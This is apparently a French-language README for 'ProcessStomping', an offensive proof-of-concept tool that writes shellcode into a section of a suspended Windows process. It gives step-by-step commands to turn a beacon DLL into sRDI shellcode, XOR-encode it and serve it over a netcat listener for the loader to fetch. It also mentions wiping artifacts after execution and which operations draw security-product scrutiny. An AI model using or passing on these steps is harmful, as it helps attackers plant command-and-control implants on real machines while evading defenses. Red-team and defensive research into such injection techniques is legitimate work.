
Une variante de ProcessOverwriting pour exécuter du shellcode sur une section d'un exécutable.
Une variante du ProcessOverwriting pour exécuter un shellcode sur une section d'un exécutable
Pour une explication plus détaillée, vous pouvez lire mon article de blog
Process Stomping est une variante du Process Overwriting de hasherezade et présente l'avantage d'écrire une charge utile de shellcode sur une section ciblée au lieu d'écrire une charge utile PE entière sur l'espace d'adressage du processus hôte.
Voici les principales étapes de la technique ProcessStomping :
À titre d'exemple d'application de la technique, le PoC peut être utilisé avec sRDI pour charger une dll de beacon sur une section RWX d'un exécutable. L'image suivante décrit les étapes impliquées.

Toutes les informations et contenus sont fournis à des fins éducatives uniquement. Suivez les instructions à vos propres risques. Ni l'auteur ni son employeur ne sont responsables des dommages directs ou indirects ou des pertes pouvant découler de toute personne ou organisation.
Ce travail a été rendu possible grâce aux connaissances et aux outils partagés par Aleksandra Doniec @hasherezade et Nick Landers.
Sélectionnez votre processus cible et modifiez les variables globales en conséquence dans ProcessStomping.cpp.
Compilez le projet sRDI en vous assurant que le décalage (offset) est suffisant pour sauter par-dessus votre blob de shellcode sRDI généré, puis mettez à jour les outils sRDI :
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Générez une charge utile de dll sans chargeur réfléchissant (Reflective-Loaderless) de votre choix, puis générez le blob de shellcode sRDI :
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
Le blob de shellcode peut ensuite être xoré avec un mot-clé et téléchargé à l'aide d'un socket simple
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Livrez le blob xoré lors de la connexion
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
Le blob sRDI sera effacé après exécution pour supprimer les artefacts inutiles.
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
Pour exécuter cette technique avec succès, vous devez sélectionner le bon processus cible et utiliser une charge utile de dll qui ne contient pas de chargeur réfléchissant défini par l'utilisateur.
La technique Process Stomping nécessite de démarrer le processus cible dans un état suspendu, de modifier le point d'entrée du thread, puis de reprendre le thread pour exécuter le shellcode injecté. Ce sont des opérations qui pourraient être considérées comme suspectes si elles sont effectuées rapidement et pourraient entraîner une surveillance accrue par certaines solutions de sécurité.